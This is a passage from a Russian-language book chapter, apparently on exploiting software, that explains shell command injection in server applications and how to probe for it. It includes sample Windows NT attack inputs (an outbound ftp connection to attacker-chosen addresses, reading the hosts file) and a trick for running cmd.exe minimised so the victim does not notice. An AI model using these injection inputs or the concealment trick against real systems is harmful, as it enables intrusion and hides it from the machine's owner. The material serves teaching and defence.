На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Конкретные методы атак на серверные приложения

Используя базовые принципы создания атак на серверные программы и ошибки в этих программах, можно создавать различные варианты реально работающих про­грамм атаки. В этой главе еще будет представлено немало конкретных примеров, в которых использован целый набор методов атак. Среди рассмотренных методов можно назвать следующие:
• внедрение команд для командного интерпретатора;
• использование каналов, портов и прав доступа;
• использование свойств файловой системы;
• манипулирование переменными среды;
• использование внешних переменных;
• использование некорректной аутентификации при открытии сеанса;
• подбор идентификаторов сеанса;
• использование дополнительных возможностей аутентификации;
• использование некорректной обработки ошибок.
Внедрение команд для командного интерпретатора
Операционная система располагает многими мощными возможностями, включая доступ к файлам, сетевые библиотеки и доступ к устройствам. Многие из этих воз­можностей реализуются за счет функций системных вызовов или других API. Ино­гда используются библиотеки функций, упакованные в виде специальных модулей. Например, загрузка DLL, по сути, является загрузкой модуля с новыми функциями. Многие из этих функций предоставляют широкий доступ к файловой системе.
Командный интерпретатор — это подсистема, предоставляемая операционной сис­темой. Эта подсистема позволяет пользователю подключаться к машине и вводить ты­сячи команд, получать доступ к программам и "путешествовать" по файловой системе. Командный интерпретатор обладает огромными возможностями и иногда предостав­ляет язык для написания сценариев с целью автоматизировать выполнение заданий. Стандартными командными редакторами являются программы cmd для систем Win­dows NT и/bin/sh для систем UNIX. Командный интерпретатор является ключевым компонентом для автоматизированного выполнения задач. Доступ к командному ин­терпретатору предоставляется программистам посредством API. Использование ко­мандного интерпретатора какой-либо программы означает, что эта программа получа­ет права обычного пользователя. Теоретически программа может выполнять любую команду, как это происходит при непосредственной передаче команд от пользователя. Таким образом, при успешном взломе программы, которая имеет доступ к командному интерпретатору, злоумышленник получает неограниченный доступ к этому команд­ному интерпретатору посредством другой программы.
Но это весьма упрощенная точка зрения. В действительности воспользоваться уязвимыми местами можно только тогда, когда команды передаются командному интерпретатору, которым управляет удаленный пользователь. Передача входных данных без всякой фильтрации несет потенциальную угрозу, а возможной она ста­новится после реализации следующих вызовов API.
system () exec () open ()
Эти команды вызывают внешние исполняемые файлы и процедуры для осущест­вления поставленных задач.
Для проверки наличия подобной проблемы используется ввод различных команд, отделенных разделителями. Для передачи команд можно использовать утилиты ping или cat. Проверку удаленной системы очень удобно проводить с помощью утилиты ping. Удобство применения ping состоит в том, что используются одинаковые пара­метры, независимо от вида операционной системы. Если с помощью брандмауэра ус­тановлена фильтрация ICMP-пакетов, то можно воспользоваться DNS-запросами. Эти запросы обычно не блокируются брандмауэром, поскольку служба DNS критически важна для нормальной работы в сети. Также довольно просто использовать утилиту cat для загрузки файлов. Существуют буквально миллионы способов для реализации передачи данных командному интерпретатору. Ниже представлен удачный пример атакующих входных данных для взлома систем Windows NT.
%SYSTEMROOT%\system32   \ftp  <вставка набора 1р-адресов>
type   %SYSTEMROOT%\system32   \drivers   \etc \hosts
cd
Команда ftp позволяет установить исходящее FTP-соединение для подключе­ния к набору IP-адресов. Формат файла hosts определить легко, а команда cd по­зволяет показать содержимое текущего каталога.
Предотвращение появления мерцающего окна на экране
Как известно, при запуске командного интерпретатора на экране Windows-системы появляется черное окно командного интерпретатора. Для сидящего за кон­солью становится очевидно, что происходит что-то подозрительное. Один из спосо­бов избежать появления этого экрана заключается в установке заплаты в атакуемую программу для непосредственного исполнения команд2.
Еще один вариант заключается в исполнении команды с определенными параметра­ми, которые позволяют управлять названием окна и максимально уменьшить его размер.
start   "window name'VMIN cmd.exe  /с <команды>

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика